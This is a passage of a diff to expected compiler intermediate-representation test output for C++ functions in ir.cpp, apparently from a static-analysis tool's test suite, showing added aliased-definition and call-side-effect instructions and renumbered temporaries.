r2_2(glval) = VariableAddress[#temp483:13] : # 483| m2_3(int) = Store : r2_2, r2_1 #-----| Goto -> Block 3 @@ -2095,7 +2117,7 @@ ir.cpp: # 483| m3_0(int) = Phi : from 1:m1_3, from 2:m2_3 # 483| r3_1(glval) = VariableAddress[#temp483:13] : # 483| r3_2(int) = Load : r3_1, m3_0 -# 483| m3_3(int) = Store : r0_8, r3_2 +# 483| m3_3(int) = Store : r0_9, r3_2 # 484| v3_4(void) = NoOp : # 482| v3_5(void) = ReturnVoid : # 482| v3_6(void) = UnmodeledUse : mu* @@ -2103,18 +2125,19 @@ ir.cpp: # 486| Conditional_LValue(bool) -> void # 486| Block 0 -# 486| v0_0(void) = EnterFunction : -# 486| mu0_1(unknown) = UnmodeledDefinition : -# 486| r0_2(glval) = VariableAddress[a] : -# 486| m0_3(bool) = InitializeParameter[a] : r0_2 -# 487| r0_4(glval) = VariableAddress[x] : -# 487| mu0_5(int) = Uninitialized : r0_4 -# 488| r0_6(glval) = VariableAddress[y] : -# 488| mu0_7(int) = Uninitialized : r0_6 -# 489| r0_8(int) = Constant[5] : -# 489| r0_9(glval) = VariableAddress[a] : -# 489| r0_10(bool) = Load : r0_9, m0_3 -# 489| v0_11(void) = ConditionalBranch : r0_10 +# 486| v0_0(void) = EnterFunction : +# 486| mu0_1(unknown) = AliasedDefinition : +# 486| mu0_2(unknown) = UnmodeledDefinition : +# 486| r0_3(glval) = VariableAddress[a] : +# 486| m0_4(bool) = InitializeParameter[a] : r0_3 +# 487| r0_5(glval) = VariableAddress[x] : +# 487| mu0_6(int) = Uninitialized[x] : r0_5 +# 488| r0_7(glval) = VariableAddress[y] : +# 488| mu0_8(int) = Uninitialized[y] : r0_7 +# 489| r0_9(int) = Constant[5] : +# 489| r0_10(glval) = VariableAddress[a] : +# 489| r0_11(bool) = Load : r0_10, m0_4 +# 489| v0_12(void) = ConditionalBranch : r0_11 #-----| False -> Block 3 #-----| True -> Block 2 @@ -2122,7 +2145,7 @@ ir.cpp: # 489| m1_0(int) = Phi : from 2:m2_2, from 3:m3_2 # 489| r1_1(glval) = VariableAddress[#temp489:6] : # 489| r1_2(glval) = Load : r1_1, m1_0 -# 489| mu1_3(int) = Store : r1_2, r0_8 +# 489| mu1_3(int) = Store : r1_2, r0_9 # 490| v1_4(void) = NoOp : # 486| v1_5(void) = ReturnVoid : # 486| v1_6(void) = UnmodeledUse : mu* @@ -2143,12 +2166,13 @@ ir.cpp: # 492| Conditional_Void(bool) -> void # 492| Block 0 # 492| v0_0(void) = EnterFunction : -# 492| mu0_1(unknown) = UnmodeledDefinition : -# 492| r0_2(glval) = VariableAddress[a] : -# 492| m0_3(bool) = InitializeParameter[a] : r0_2 -# 493| r0_4(glval) = VariableAddress[a] : -# 493| r0_5(bool) = Load : r0_4, m0_3 -# 493| v0_6(void) = ConditionalBranch : r0_5 +# 492| mu0_1(unknown) = AliasedDefinition : +# 492| mu0_2(unknown) = UnmodeledDefinition : +# 492| r0_3(glval) = VariableAddress[a] : +# 492| m0_4(bool) = InitializeParameter[a] : r0_3 +# 493| r0_5(glval) = VariableAddress[a] : +# 493| r0_6(bool) = Load : r0_5, m0_4 +# 493| v0_7(void) = ConditionalBranch : r0_6 #-----| False -> Block 3 #-----| True -> Block 2 @@ -2161,238 +2185,246 @@ ir.cpp: # 493| Block 2 # 493| r2_0(glval) = FunctionAddress[VoidFunc] : # 493| v2_1(void) = Call : r2_0 +# 493| mu2_2(unknown) = ^CallSideEffect : mu0_2 #-----| Goto -> Block 1 # 493| Block 3 # 493| r3_0(glval) = FunctionAddress[VoidFunc] : # 493| v3_1(void) = Call : r3_0 +# 493| mu3_2(unknown) = ^CallSideEffect : mu0_2 #-----| Goto -> Block 1 # 496| Nullptr() -> void # 496| Block 0 # 496| v0_0(void) = EnterFunction : -# 496| mu0_1(unknown) = UnmodeledDefinition : -# 497| r0_2(glval) = VariableAddress[p] : -# 497| r0_3(int *) = Constant[0] : -# 497| m0_4(int *) = Store : r0_2, r0_3 -# 498| r0_5(glval) = VariableAddress[q] : -# 498| r0_6(int *) = Constant[0] : -# 498| m0_7(int *) = Store : r0_5, r0_6 -# 499| r0_8(int *) = Constant[0] : -# 499| r0_9(glval) = VariableAddress[p] : -# 499| m0_10(int *) = Store : r0_9, r0_8 -# 500| r0_11(int *) = Constant[0] : -# 500| r0_12(glval) = VariableAddress[q] : -# 500| m0_13(int *) = Store : r0_12, r0_11 -# 501| v0_14(void) = NoOp : -# 496| v0_15(void) = ReturnVoid : -# 496| v0_16(void) = UnmodeledUse : mu* -# 496| v0_17(void) = ExitFunction : +# 496| mu0_1(unknown) = AliasedDefinition : +# 496| mu0_2(unknown) = UnmodeledDefinition : +# 497| r0_3(glval) = VariableAddress[p] : +# 497| r0_4(int *) = Constant[0] : +# 497| m0_5(int *) = Store : r0_3, r0_4 +# 498| r0_6(glval) = VariableAddress[q] : +# 498| r0_7(int *) = Constant[0] : +# 498| m0_8(int *) = Store : r0_6, r0_7 +# 499| r0_9(int *) = Constant[0] : +# 499| r0_10(glval) = VariableAddress[p] : +# 499| m0_11(int *) = Store : r0_10, r0_9 +# 500| r0_12(int *) = Constant[0] : +# 500| r0_13(glval) = VariableAddress[q] : +# 500| m0_14(int *) = Store : r0_13, r0_12 +# 501| v0_15(void) = NoOp : +# 496| v0_16(void) = ReturnVoid : +# 496| v0_17(void) = UnmodeledUse : mu* +# 496| v0_18(void) = ExitFunction : # 503| InitList(int, float) -> void # 503| Block 0 # 503| v0_0(void) = EnterFunction : -# 503| mu0_1(unknown) = UnmodeledDefinition : -# 503| r0_2(glval) = VariableAddress[x] : -# 503| m0_3(int) = InitializeParameter[x] : r0_2 -# 503| r0_4(glval) = VariableAddress[f] : -# 503| m0_5(float) = InitializeParameter[f] : r0_4 -# 504| r0_6(glval) = VariableAddress[pt1] : -# 504| m0_7(Point) = Uninitialized : r0_6 -# 504| r0_8(glval) = FieldAddress[x] : r0_6 -# 504| r0_9(glval) = VariableAddress[x] : -# 504| r0_10(int) = Load : r0_9, m0_3 -# 504| m0_11(int) = Store : r0_8, r0_10 -# 504| r0_12(glval) = FieldAddress[y] : r0_6 -# 504| r0_13(glval) = VariableAddress[f] : -# 504| r0_14(float) = Load : r0_13, m0_5 -# 504| r0_15(int) = Convert : r0_14 -# 504| mu0_16(int) = Store : r0_12, r0_15 -# 505| r0_17(glval) = VariableAddress[pt2] : -# 505| m0_18(Point) = Uninitialized : r0_17 -# 505| r0_19(glval) = FieldAddress[x] : r0_17 -# 505| r0_20(glval) = VariableAddress[x] : -# 505| r0_21(int) = Load : r0_20, m0_3 -# 505| m0_22(int) = Store : r0_19, r0_21 -# 505| r0_23(glval) = FieldAddress[y] : r0_17 -# 505| r0_24(int) = Constant[0] : -# 505| mu0_25(int) = Store : r0_23, r0_24 -# 506| r0_26(glval) = VariableAddress[pt3] : -# 506| m0_27(Point) = Uninitialized : r0_26 -# 506| r0_28(glval) = FieldAddress[x] : r0_26 -# 506| r0_29(int) = Constant[0] : -# 506| m0_30(int) = Store : r0_28, r0_29 -# 506| r0_31(glval) = FieldAddress[y] : r0_26 -# 506| r0_32(int) = Constant[0] : -# 506| mu0_33(int) = Store : r0_31, r0_32 -# 508| r0_34(glval) = VariableAddress[x1] : -# 508| r0_35(int) = Constant[1] : -# 508| m0_36(int) = Store : r0_34, r0_35 -# 509| r0_37(glval) = VariableAddress[x2] : -# 509| r0_38(int) = Constant[0] : -# 509| m0_39(int) = Store : r0_37, r0_38 -# 510| v0_40(void) = NoOp : -# 503| v0_41(void) = ReturnVoid : -# 503| v0_42(void) = UnmodeledUse : mu* -# 503| v0_43(void) = ExitFunction : +# 503| mu0_1(unknown) = AliasedDefinition : +# 503| mu0_2(unknown) = UnmodeledDefinition : +# 503| r0_3(glval) = VariableAddress[x] : +# 503| m0_4(int) = InitializeParameter[x] : r0_3 +# 503| r0_5(glval) = VariableAddress[f] : +# 503| m0_6(float) = InitializeParameter[f] : r0_5 +# 504| r0_7(glval) = VariableAddress[pt1] : +# 504| m0_8(Point) = Uninitialized[pt1] : r0_7 +# 504| r0_9(glval) = FieldAddress[x] : r0_7 +# 504| r0_10(glval) = VariableAddress[x] : +# 504| r0_11(int) = Load : r0_10, m0_4 +# 504| m0_12(int) = Store : r0_9, r0_11 +# 504| r0_13(glval) = FieldAddress[y] : r0_7 +# 504| r0_14(glval) = VariableAddress[f] : +# 504| r0_15(float) = Load : r0_14, m0_6 +# 504| r0_16(int) = Convert : r0_15 +# 504| mu0_17(int) = Store : r0_13, r0_16 +# 505| r0_18(glval) = VariableAddress[pt2] : +# 505| m0_19(Point) = Uninitialized[pt2] : r0_18 +# 505| r0_20(glval) = FieldAddress[x] : r0_18 +# 505| r0_21(glval) = VariableAddress[x] : +# 505| r0_22(int) = Load : r0_21, m0_4 +# 505| m0_23(int) = Store : r0_20, r0_22 +# 505| r0_24(glval) = FieldAddress[y] : r0_18 +# 505| r0_25(int) = Constant[0] : +# 505| mu0_26(int) = Store : r0_24, r0_25 +# 506| r0_27(glval) = VariableAddress[pt3] : +# 506| m0_28(Point) = Uninitialized[pt3] : r0_27 +# 506| r0_29(glval) = FieldAddress[x] : r0_27 +# 506| r0_30(int) = Constant[0] : +# 506| m0_31(int) = Store : r0_29, r0_30 +# 506| r0_32(glval) = FieldAddress[y] : r0_27 +# 506| r0_33(int) = Constant[0] : +# 506| mu0_34(int) = Store : r0_32, r0_33 +# 508| r0_35(glval) = VariableAddress[x1] : +# 508| r0_36(int) = Constant[1] : +# 508| m0_37(int) = Store : r0_35, r0_36 +# 509| r0_38(glval) = VariableAddress[x2] : +# 509| r0_39(int) = Constant[0] : +# 509| m0_40(int) = Store : r0_38, r0_39 +# 510| v0_41(void) = NoOp : +# 503| v0_42(void) = ReturnVoid : +# 503| v0_43(void) = UnmodeledUse : mu* +# 503| v0_44(void) = ExitFunction : # 512| NestedInitList(int, float) -> void # 512| Block 0 # 512| v0_0(void) = EnterFunction : -# 512| mu0_1(unknown) = UnmodeledDefinition : -# 512| r0_2(glval) = VariableAddress[x] : -# 512| m0_3(int) = InitializeParameter[x] : r0_2 -# 512| r0_4(glval) = VariableAddress[f] : -# 512| m0_5(float) = InitializeParameter[f] : r0_4 -# 513| r0_6(glval) = VariableAddress[r1] : -# 513| m0_7(Rect) = Uninitialized : r0_6 -# 513| r0_8(glval) = FieldAddress[topLeft] : r0_6 -# 513| r0_9(Point) = Constant[0] : -# 513| m0_10(Point) = Store : r0_8, r0_9 -# 513| r0_11(glval) = FieldAddress[bottomRight] : r0_6 -# 513| r0_12(Point) = Constant[0] : -# 513| mu0_13(Point) = Store : r0_11, r0_12 -# 514| r0_14(glval) = VariableAddress[r2] : -# 514| m0_15(Rect) = Uninitialized : r0_14 -# 514| r0_16(glval) = FieldAddress[topLeft] : r0_14 -# 514| r0_17(glval) = FieldAddress[x] : r0_16 -# 514| r0_18(glval) = VariableAddress[x] : -# 514| r0_19(int) = Load : r0_18, m0_3 -# 514| m0_20(int) = Store : r0_17, r0_19 -# 514| r0_21(glval) = FieldAddress[y] : r0_16 -# 514| r0_22(glval) = VariableAddress[f] : -# 514| r0_23(float) = Load : r0_22, m0_5 -# 514| r0_24(int) = Convert : r0_23 -# 514| mu0_25(int) = Store : r0_21, r0_24 -# 514| r0_26(glval) = FieldAddress[bottomRight] : r0_14 -# 514| r0_27(Point) = Constant[0] : -# 514| mu0_28(Point) = Store : r0_26, r0_27 -# 515| r0_29(glval) = VariableAddress[r3] : -# 515| m0_30(Rect) = Uninitialized : r0_29 -# 515| r0_31(glval) = FieldAddress[topLeft] : r0_29 -# 515| r0_32(glval) = FieldAddress[x] : r0_31 -# 515| r0_33(glval) = VariableAddress[x] : -# 515| r0_34(int) = Load : r0_33, m0_3 -# 515| m0_35(int) = Store : r0_32, r0_34 -# 515| r0_36(glval) = FieldAddress[y] : r0_31 -# 515| r0_37(glval) = VariableAddress[f] : -# 515| r0_38(float) = Load : r0_37, m0_5 -# 515| r0_39(int) = Convert : r0_38 -# 515| mu0_40(int) = Store : r0_36, r0_39 -# 515| r0_41(glval) = FieldAddress[bottomRight] : r0_29 -# 515| r0_42(glval) = FieldAddress[x] : r0_41 -# 515| r0_43(glval) = VariableAddress[x] : -# 515| r0_44(int) = Load : r0_43, m0_3 -# 515| mu0_45(int) = Store : r0_42, r0_44 -# 515| r0_46(glval) = FieldAddress[y] : r0_41 -# 515| r0_47(glval) = VariableAddress[f] : -# 515| r0_48(float) = Load : r0_47, m0_5 -# 515| r0_49(int) = Convert : r0_48 -# 515| mu0_50(int) = Store : r0_46, r0_49 -# 516| r0_51(glval) = VariableAddress[r4] : -# 516| m0_52(Rect) = Uninitialized : r0_51 -# 516| r0_53(glval) = FieldAddress[topLeft] : r0_51 -# 516| r0_54(glval) = FieldAddress[x] : r0_53 -# 516| r0_55(glval) = VariableAddress[x] : -# 516| r0_56(int) = Load : r0_55, m0_3 -# 516| m0_57(int) = Store : r0_54, r0_56 -# 516| r0_58(glval) = FieldAddress[y] : r0_53 -# 516| r0_59(int) = Constant[0] : -# 516| mu0_60(int) = Store : r0_58, r0_59 -# 516| r0_61(glval) = FieldAddress[bottomRight] : r0_51 -# 516| r0_62(glval) = FieldAddress[x] : r0_61 -# 516| r0_63(glval) = VariableAddress[x] : -# 516| r0_64(int) = Load : r0_63, m0_3 -# 516| mu0_65(int) = Store : r0_62, r0_64 -# 516| r0_66(glval) = FieldAddress[y] : r0_61 -# 516| r0_67(int) = Constant[0] : -# 516| mu0_68(int) = Store : r0_66, r0_67 -# 517| v0_69(void) = NoOp : -# 512| v0_70(void) = ReturnVoid : -# 512| v0_71(void) = UnmodeledUse : mu* -# 512| v0_72(void) = ExitFunction : +# 512| mu0_1(unknown) = AliasedDefinition : +# 512| mu0_2(unknown) = UnmodeledDefinition : +# 512| r0_3(glval) = VariableAddress[x] : +# 512| m0_4(int) = InitializeParameter[x] : r0_3 +# 512| r0_5(glval) = VariableAddress[f] : +# 512| m0_6(float) = InitializeParameter[f] : r0_5 +# 513| r0_7(glval) = VariableAddress[r1] : +# 513| m0_8(Rect) = Uninitialized[r1] : r0_7 +# 513| r0_9(glval) = FieldAddress[topLeft] : r0_7 +# 513| r0_10(Point) = Constant[0] : +# 513| m0_11(Point) = Store : r0_9, r0_10 +# 513| r0_12(glval) = FieldAddress[bottomRight] : r0_7 +# 513| r0_13(Point) = Constant[0] : +# 513| mu0_14(Point) = Store : r0_12, r0_13 +# 514| r0_15(glval) = VariableAddress[r2] : +# 514| m0_16(Rect) = Uninitialized[r2] : r0_15 +# 514| r0_17(glval) = FieldAddress[topLeft] : r0_15 +# 514| r0_18(glval) = FieldAddress[x] : r0_17 +# 514| r0_19(glval) = VariableAddress[x] : +# 514| r0_20(int) = Load : r0_19, m0_4 +# 514| m0_21(int) = Store : r0_18, r0_20 +# 514| r0_22(glval) = FieldAddress[y] : r0_17 +# 514| r0_23(glval) = VariableAddress[f] : +# 514| r0_24(float) = Load : r0_23, m0_6 +# 514| r0_25(int) = Convert : r0_24 +# 514| mu0_26(int) = Store : r0_22, r0_25 +# 514| r0_27(glval) = FieldAddress[bottomRight] : r0_15 +# 514| r0_28(Point) = Constant[0] : +# 514| mu0_29(Point) = Store : r0_27, r0_28 +# 515| r0_30(glval) = VariableAddress[r3] : +# 515| m0_31(Rect) = Uninitialized[r3] : r0_30 +# 515| r0_32(glval) = FieldAddress[topLeft] : r0_30 +# 515| r0_33(glval) = FieldAddress[x] : r0_32 +# 515| r0_34(glval) = VariableAddress[x] : +# 515| r0_35(int) = Load : r0_34, m0_4 +# 515| m0_36(int) = Store : r0_33, r0_35 +# 515| r0_37(glval) = FieldAddress[y] : r0_32 +# 515| r0_38(glval) = VariableAddress[f] : +# 515| r0_39(float) = Load : r0_38, m0_6 +# 515| r0_40(int) = Convert : r0_39 +# 515| mu0_41(int) = Store : r0_37, r0_40 +# 515| r0_42(glval) = FieldAddress[bottomRight] : r0_30 +# 515| r0_43(glval) = FieldAddress[x] : r0_42 +# 515| r0_44(glval) = VariableAddress[x] : +# 515| r0_45(int) = Load : r0_44, m0_4 +# 515| mu0_46(int) = Store : r0_43, r0_45 +# 515| r0_47(glval) = FieldAddress[y] : r0_42 +# 515| r0_48(glval) = VariableAddress[f] : +# 515| r0_49(float) = Load : r0_48, m0_6 +# 515| r0_50(int) = Convert : r0_49 +# 515| mu0_51(int) = Store : r0_47, r0_50 +# 516| r0_52(glval) = VariableAddress[r4] : +# 516| m0_53(Rect) = Uninitialized[r4] : r0_52 +# 516| r0_54(glval) = FieldAddress[topLeft] : r0_52 +# 516| r0_55(glval) = FieldAddress[x] : r0_54 +# 516| r0_56(glval) = VariableAddress[x] : +# 516| r0_57(int) = Load : r0_56, m0_4 +# 516| m0_58(int) = Store : r0_55, r0_57 +# 516| r0_59(glval) = FieldAddress[y] : r0_54 +# 516| r0_60(int) = Constant[0] : +# 516| mu0_61(int) = Store : r0_59, r0_60 +# 516| r0_62(glval) = FieldAddress[bottomRight] : r0_52 +# 516| r0_63(glval) = FieldAddress[x] : r0_62 +# 516| r0_64(glval) = VariableAddress[x] : +# 516| r0_65(int) = Load : r0_64, m0_4 +# 516| mu0_66(int) = Store : r0_63, r0_65 +# 516| r0_67(glval) = FieldAddress[y] : r0_62 +# 516| r0_68(int) = Constant[0] : +# 516| mu0_69(int) = Store : r0_67, r0_68 +# 517| v0_70(void) = NoOp : +# 512| v0_71(void) = ReturnVoid : +# 512| v0_72(void) = UnmodeledUse : mu* +# 512| v0_73(void) = ExitFunction : # 519| ArrayInit(int, float) -> void # 519| Block 0 # 519| v0_0(void) = EnterFunction : -# 519| mu0_1(unknown) = UnmodeledDefinition : -# 519| r0_2(glval) = VariableAddress[x] : -# 519| m0_3(int) = InitializeParameter[x] : r0_2 -# 519| r0_4(glval) = VariableAddress[f] : -# 519| m0_5(float) = InitializeParameter[f] : r0_4 -# 520| r0_6(glval) = VariableAddress[a1] : -# 520| mu0_7(int[3]) = Uninitialized : r0_6 -# 520| r0_8(int) = Constant[0] : -# 520| r0_9(glval) = PointerAdd : r0_6, r0_8 -# 520| r0_10(unknown[12]) = Constant[0] : -# 520| mu0_11(unknown[12]) = Store : r0_9, r0_10 -# 521| r0_12(glval) = VariableAddress[a2] : -# 521| mu0_13(int[3]) = Uninitialized : r0_12 -# 521| r0_14(int) = Constant[0] : -# 521| r0_15(glval) = PointerAdd : r0_12, r0_14 -# 521| r0_16(glval) = VariableAddress[x] : -# 521| r0_17(int) = Load : r0_16, m0_3 -# 521| mu0_18(int) = Store : r0_15, r0_17 -# 521| r0_19(int) = Constant[1] : -# 521| r0_20(glval) = PointerAdd : r0_12, r0_19 -# 521| r0_21(glval) = VariableAddress[f] : -# 521| r0_22(float) = Load : r0_21, m0_5 -# 521| r0_23(int) = Convert : r0_22 -# 521| mu0_24(int) = Store : r0_20, r0_23 -# 521| r0_25(int) = Constant[2] : -# 521| r0_26(glval) = PointerAdd : r0_12, r0_25 -# 521| r0_27(int) = Constant[0] : -# 521| mu0_28(int) = Store : r0_26, r0_27 -# 522| r0_29(glval) = VariableAddress[a3] : -# 522| mu0_30(int[3]) = Uninitialized : r0_29 -# 522| r0_31(int) = Constant[0] : -# 522| r0_32(glval) = PointerAdd : r0_29, r0_31 -# 522| r0_33(glval) = VariableAddress[x] : -# 522| r0_34(int) = Load : r0_33, m0_3 -# 522| mu0_35(int) = Store : r0_32, r0_34 -# 522| r0_36(int) = Constant[1] : -# 522| r0_37(glval) = PointerAdd : r0_29, r0_36 -# 522| r0_38(unknown[8]) = Constant[0] : -# 522| mu0_39(unknown[8]) = Store : r0_37, r0_38 -# 523| v0_40(void) = NoOp : -# 519| v0_41(void) = ReturnVoid : -# 519| v0_42(void) = UnmodeledUse : mu* -# 519| v0_43(void) = ExitFunction : +# 519| mu0_1(unknown) = AliasedDefinition : +# 519| mu0_2(unknown) = UnmodeledDefinition : +# 519| r0_3(glval) = VariableAddress[x] : +# 519| m0_4(int) = InitializeParameter[x] : r0_3 +# 519| r0_5(glval) = VariableAddress[f] : +# 519| m0_6(float) = InitializeParameter[f] : r0_5 +# 520| r0_7(glval) = VariableAddress[a1] : +# 520| mu0_8(int[3]) = Uninitialized[a1] : r0_7 +# 520| r0_9(int) = Constant[0] : +# 520| r0_10(glval) = PointerAdd : r0_7, r0_9 +# 520| r0_11(unknown[12]) = Constant[0] : +# 520| mu0_12(unknown[12]) = Store : r0_10, r0_11 +# 521| r0_13(glval) = VariableAddress[a2] : +# 521| mu0_14(int[3]) = Uninitialized[a2] : r0_13 +# 521| r0_15(int) = Constant[0] : +# 521| r0_16(glval) = PointerAdd : r0_13, r0_15 +# 521| r0_17(glval) = VariableAddress[x] : +# 521| r0_18(int) = Load : r0_17, m0_4 +# 521| mu0_19(int) = Store : r0_16, r0_18 +# 521| r0_20(int) = Constant[1] : +# 521| r0_21(glval) = PointerAdd : r0_13, r0_20 +# 521| r0_22(glval) = VariableAddress[f] : +# 521| r0_23(float) = Load : r0_22, m0_6 +# 521| r0_24(int) = Convert : r0_23 +# 521| mu0_25(int) = Store : r0_21, r0_24 +# 521| r0_26(int) = Constant[2] : +# 521| r0_27(glval) = PointerAdd : r0_13, r0_26 +# 521| r0_28(int) = Constant[0] : +# 521| mu0_29(int) = Store : r0_27, r0_28 +# 522| r0_30(glval) = VariableAddress[a3] : +# 522| mu0_31(int[3]) = Uninitialized[a3] : r0_30 +# 522| r0_32(int) = Constant[0] : +# 522| r0_33(glval) = PointerAdd : r0_30, r0_32 +# 522| r0_34(glval) = VariableAddress[x] : +# 522| r0_35(int) = Load : r0_34, m0_4 +# 522| mu0_36(int) = Store : r0_33, r0_35 +# 522| r0_37(int) = Constant[1] : +# 522| r0_38(glval) = PointerAdd : r0_30, r0_37 +# 522| r0_39(unknown[8]) = Constant[0] : +# 522| mu0_40(unknown[8]) = Store : r0_38, r0_39 +# 523| v0_41(void) = NoOp : +# 519| v0_42(void) = ReturnVoid : +# 519| v0_43(void) = UnmodeledUse : mu* +# 519| v0_44(void) = ExitFunction : # 530| UnionInit(int, float) -> void # 530| Block 0 # 530| v0_0(void) = EnterFunction : -# 530| mu0_1(unknown) = UnmodeledDefinition : -# 530| r0_2(glval) = VariableAddress[x] : -# 530| m0_3(int) = InitializeParameter[x] : r0_2 -# 530| r0_4(glval) = VariableAddress[f] : -# 530| m0_5(float) = InitializeParameter[f] : r0_4 -# 531| r0_6(glval) = VariableAddress[u1] : -# 531| m0_7(U) = Uninitialized : r0_6 -# 531| r0_8(glval) = FieldAddress[d] : r0_6 -# 531| r0_9(glval) = VariableAddress[f] : -# 531| r0_10(float) = Load : r0_9, m0_5 -# 531| r0_11(double) = Convert : r0_10 -# 531| m0_12(double) = Store : r0_8, r0_11 -# 533| v0_13(void) = NoOp : -# 530| v0_14(void) = ReturnVoid : -# 530| v0_15(void) = UnmodeledUse : mu* -# 530| v0_16(void) = ExitFunction : +# 530| mu0_1(unknown) = AliasedDefinition : +# 530| mu0_2(unknown) = UnmodeledDefinition : +# 530| r0_3(glval) = VariableAddress[x] : +# 530| m0_4(int) = InitializeParameter[x] : r0_3 +# 530| r0_5(glval) = VariableAddress[f] : +# 530| m0_6(float) = InitializeParameter[f] : r0_5 +# 531| r0_7(glval) = VariableAddress[u1] : +# 531| m0_8(U) = Uninitialized[u1] : r0_7 +# 531| r0_9(glval) = FieldAddress[d] : r0_7 +# 531| r0_10(glval) = VariableAddress[f] : +# 531| r0_11(float) = Load : r0_10, m0_6 +# 531| r0_12(double) = Convert : r0_11 +# 531| m0_13(double) = Store : r0_9, r0_12 +# 533| v0_14(void) = NoOp : +# 530| v0_15(void) = ReturnVoid : +# 530| v0_16(void) = UnmodeledUse : mu* +# 530| v0_17(void) = ExitFunction : # 535| EarlyReturn(int, int) -> void # 535| Block 0 # 535| v0_0(void) = EnterFunction : -# 535| mu0_1(unknown) = UnmodeledDefinition : -# 535| r0_2(glval) = VariableAddress[x] : -# 535| m0_3(int) = InitializeParameter[x] : r0_2 -# 535| r0_4(glval) = VariableAddress[y] : -# 535| m0_5(int) = InitializeParameter[y] : r0_4 -# 536| r0_6(glval) = VariableAddress[x] : -# 536| r0_7(int) = Load : r0_6, m0_3 -# 536| r0_8(glval) = VariableAddress[y] : -# 536| r0_9(int) = Load : r0_8, m0_5 -# 536| r0_10(bool) = CompareLT : r0_7, r0_9 -# 536| v0_11(void) = ConditionalBranch : r0_10 +# 535| mu0_1(unknown) = AliasedDefinition : +# 535| mu0_2(unknown) = UnmodeledDefinition : +# 535| r0_3(glval) = VariableAddress[x] : +# 535| m0_4(int) = InitializeParameter[x] : r0_3 +# 535| r0_5(glval) = VariableAddress[y] : +# 535| m0_6(int) = InitializeParameter[y] : r0_5 +# 536| r0_7(glval) = VariableAddress[x] : +# 536| r0_8(int) = Load : r0_7, m0_4 +# 536| r0_9(glval) = VariableAddress[y] : +# 536| r0_10(int) = Load : r0_9, m0_6 +# 536| r0_11(bool) = CompareLT : r0_8, r0_10 +# 536| v0_12(void) = ConditionalBranch : r0_11 #-----| False -> Block 3 #-----| True -> Block 2 @@ -2407,7 +2439,7 @@ ir.cpp: # 540| Block 3 # 540| r3_0(glval) = VariableAddress[x] : -# 540| r3_1(int) = Load : r3_0, m0_3 +# 540| r3_1(int) = Load : r3_0, m0_4 # 540| r3_2(glval) = VariableAddress[y] : # 540| m3_3(int) = Store : r3_2, r3_1 # 541| v3_4(void) = NoOp : @@ -2416,17 +2448,18 @@ ir.cpp: # 543| EarlyReturnValue(int, int) -> int # 543| Block 0 # 543| v0_0(void) = EnterFunction : -# 543| mu0_1(unknown) = UnmodeledDefinition : -# 543| r0_2(glval) = VariableAddress[x] : -# 543| m0_3(int) = InitializeParameter[x] : r0_2 -# 543| r0_4(glval) = VariableAddress[y] : -# 543| m0_5(int) = InitializeParameter[y] : r0_4 -# 544| r0_6(glval) = VariableAddress[x] : -# 544| r0_7(int) = Load : r0_6, m0_3 -# 544| r0_8(glval) = VariableAddress[y] : -# 544| r0_9(int) = Load : r0_8, m0_5 -# 544| r0_10(bool) = CompareLT : r0_7, r0_9 -# 544| v0_11(void) = ConditionalBranch : r0_10 +# 543| mu0_1(unknown) = AliasedDefinition : +# 543| mu0_2(unknown) = UnmodeledDefinition : +# 543| r0_3(glval) = VariableAddress[x] : +# 543| m0_4(int) = InitializeParameter[x] : r0_3 +# 543| r0_5(glval) = VariableAddress[y] : +# 543| m0_6(int) = InitializeParameter[y] : r0_5 +# 544| r0_7(glval) = VariableAddress[x] : +# 544| r0_8(int) = Load : r0_7, m0_4 +# 544| r0_9(glval) = VariableAddress[y] : +# 544| r0_10(int) = Load : r0_9, m0_6 +# 544| r0_11(bool) = CompareLT : r0_8, r0_10 +# 544| v0_12(void) = ConditionalBranch : r0_11 #-----| False -> Block 3 #-----| True -> Block 2 @@ -2440,16 +2473,16 @@ ir.cpp: # 545| Block 2 # 545| r2_0(glval) = VariableAddress[#return] : # 545| r2_1(glval) = VariableAddress[x] : -# 545| r2_2(int) = Load : r2_1, m0_3 +# 545| r2_2(int) = Load : r2_1, m0_4 # 545| m2_3(int) = Store : r2_0, r2_2 #-----| Goto -> Block 1 # 548| Block 3 # 548| r3_0(glval) = VariableAddress[#return] : # 548| r3_1(glval) = VariableAddress[x] : -# 548| r3_2(int) = Load : r3_1, m0_3 +# 548| r3_2(int) = Load : r3_1, m0_4 # 548| r3_3(glval) = VariableAddress[y] : -# 548| r3_4(int) = Load : r3_3, m0_5 +# 548| r3_4(int) = Load : r3_3, m0_6 # 548| r3_5(int) = Add : r3_2, r3_4 # 548| m3_6(int) = Store : r3_0, r3_5 #-----| Goto -> Block 1 @@ -2457,30 +2490,33 @@ ir.cpp: # 551| CallViaFuncPtr(..(*)(..)) -> int # 551| Block 0 # 551| v0_0(void) = EnterFunction : -# 551| mu0_1(unknown) = UnmodeledDefinition : -# 551| r0_2(glval<..(*)(..)>) = VariableAddress[pfn] : -# 551| m0_3(..(*)(..)) = InitializeParameter[pfn] : r0_2 -# 552| r0_4(glval) = VariableAddress[#return] : -# 552| r0_5(glval<..(*)(..)>) = VariableAddress[pfn] : -# 552| r0_6(..(*)(..)) = Load : r0_5, m0_3 -# 552| r0_7(int) = Constant[5] : -# 552| r0_8(int) = Call : r0_6, r0_7 -# 552| m0_9(int) = Store : r0_4, r0_8 -# 551| r0_10(glval) = VariableAddress[#return] : -# 551| v0_11(void) = ReturnValue : r0_10, m0_9 -# 551| v0_12(void) = UnmodeledUse : mu* -# 551| v0_13(void) = ExitFunction : +# 551| mu0_1(unknown) = AliasedDefinition : +# 551| mu0_2(unknown) = UnmodeledDefinition : +# 551| r0_3(glval<..(*)(..)>) = VariableAddress[pfn] : +# 551| m0_4(..(*)(..)) = InitializeParameter[pfn] : r0_3 +# 552| r0_5(glval) = VariableAddress[#return] : +# 552| r0_6(glval<..(*)(..)>) = VariableAddress[pfn] : +# 552| r0_7(..(*)(..)) = Load : r0_6, m0_4 +# 552| r0_8(int) = Constant[5] : +# 552| r0_9(int) = Call : r0_7, r0_8 +# 552| mu0_10(unknown) = ^CallSideEffect : mu0_2 +# 552| m0_11(int) = Store : r0_5, r0_9 +# 551| r0_12(glval) = VariableAddress[#return] : +# 551| v0_13(void) = ReturnValue : r0_12, m0_11 +# 551| v0_14(void) = UnmodeledUse : mu* +# 551| v0_15(void) = ExitFunction : # 560| EnumSwitch(E) -> int # 560| Block 0 # 560| v0_0(void) = EnterFunction : -# 560| mu0_1(unknown) = UnmodeledDefinition : -# 560| r0_2(glval) = VariableAddress[e] : -# 560| m0_3(E) = InitializeParameter[e] : r0_2 -# 561| r0_4(glval) = 